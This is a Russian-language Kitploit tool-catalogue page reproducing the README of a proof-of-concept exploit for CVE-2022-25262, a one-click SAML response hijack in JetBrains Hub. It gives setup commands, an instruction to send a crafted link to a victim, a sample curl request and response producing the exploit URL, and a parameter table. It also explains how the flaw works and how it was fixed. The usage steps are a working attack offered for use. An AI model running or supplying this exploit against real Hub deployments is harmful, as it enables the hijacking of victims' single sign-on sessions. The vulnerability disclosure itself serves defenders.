Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-25262 — PoC + детали уязвимости CVE-2022-25262 / перехват SAML-ответа в один клик в JetBrains Hub | Kitploit
Инструменты/GitHubGitHub/yuriisanin/cve-2022-25262
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияRed Teaming
GitHubyuriisanin/cve-2022-25262

CVE-2022-25262

PoC + детали уязвимости CVE-2022-25262 / перехват SAML-ответа в один клик в JetBrains Hub

Репозиторий
1754 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-25262

PoC + детали уязвимости CVE-2022-25262 | перехват SAML-ответа в JetBrains Hub в один клик

  • CVE-2022-25262
    • Требования
    • Использование
    • Как это работает?
      • Пул кодов авторизации для обмена "OAuth2 -> SAML"
      • Перехват кода авторизации OAuth2 YouTrack Konnector (так задумано)
      • Устранение

Требования

  • JetBrains Hub <2022.1.14434
  • JetBrains Hub, настроенный как SAML IdP
  • Установленный сервис "YouTrack Konnektor" (поставляется вместе с YouTrack)

Использование

Установка и запуск:

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

  usage: exploit.py [-h] [-p P]

  optional arguments:
    -h, --help  show this help message and exit
    -p P        Uvicorn port
    
# If you run the exploit on the local machine, you might need to use Ngrok or alternatives.
$ ngrok http 8000

Использование:

  1. Используйте эндпоинт "GET /get-exploit-link", чтобы получить ссылку на эксплойт
  2. Отправьте ссылку жертве

Параметры запроса:

Получить ссылку на эксплойт:

root@kitploit:~
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"

* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
< 
* Connection #0 to host {exploit-host-ip} left intact

{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}

ДЕМО:

CVE-2022-25262 Демо

Как это работает?

Уязвимость состоит из двух частей:

  • Использование пула кодов авторизации OAuth2 для процесса обмена "OAuth2 -> SAML".
  • Перехват кода авторизации с помощью интеграции YouTrack Konnector.

Пул кодов авторизации для обмена "OAuth2 -> SAML"

SAML IdP работает как расширение для OAuth. Когда конкретный пользователь хочет войти в конкретного поставщика услуг, он проходит через поток выдачи кода авторизации OAuth (запросы 1-2), и после получения кода возвращает его в Hub (запрос 3). Hub берёт информацию о пользователе, связанном с кодом, и выдаёт подписанный SAML-ответ для сервиса. Несмотря на то, что SAML IdP использует OAuth2-клиент Hub (client_id=0-0-0-0-0) для интеграции, он не проверяет, от имени какого OAuth-клиента был выдан код. Единственное, что здесь имеет значение, — действителен ли код. Это может привести к перехвату SAML-ответа, если атакующий найдёт способ перехватить код авторизации у любого OAuth-клиента, зарегистрированного в Hub.

oauth2-saml-exchange

Перехват кода авторизации OAuth2 YouTrack Konnector (так задумано)

YouTrack Konnector — это собственный сервис, который позволяет подключить конкретный экземпляр YouTrack к своему Slack-боту. Сервис принимает URL-адрес YouTrack, а также идентификатор и секрет OAuth-клиента Konnector (запрос 1). Затем он пытается проверить, что указанный URL указывает на действующий экземпляр YouTrack, вызывая несколько API-эндпоинтов ("handshake", запросы 2-3). Если всё прошло успешно, Konnector вернёт URL, который позволит конкретному пользователю пройти поток выдачи кода авторизации OAuth (ответ 1). URL содержит параметр запроса "state", который помогает Konnector направлять код авторизации OAuth в соответствующий обработчик (экземпляр Hub). Атакующий может создать хост с эндпоинтами, необходимыми для "handshake", и получить параметр "state", указывающий на хост атакующего. После этого атакующий может сформировать URL авторизации OAuth и отправить его жертве. Если жертва перейдёт по ссылке и завершит OAuth-поток (у жертвы должна быть действительная сессия в Hub), сервис Konnector получит код и отправит его на хост атакующего (запросы 4-6).

slack-service-authz-code-takeover

Устранение

Команда YouTrack добавила проверку, которая разрешает использование кодов авторизации, выданных для OAuth-клиента "JetBrains Hub Service", в процессе обмена "OAuth2 -> SAML". Следовательно, нет возможности обменять коды авторизации, выданные для OAuth-клиента "YouTrack Konnector".

Поддержка

Вы можете подписаться на меня в Twitter, GitHub или YouTube.

Скачать инструмент
ИмяОписаниеОбязателен
hub_urlURL целевого экземпляра Hub✅
issuerSAML-издатель✅
acs_urlURL службы ACS (Assertion Consumer Service)✅
youtrack_urlURL экземпляра YouTrack, подключённого к Hub (обязателен, если гостевая учётная запись отключена)❔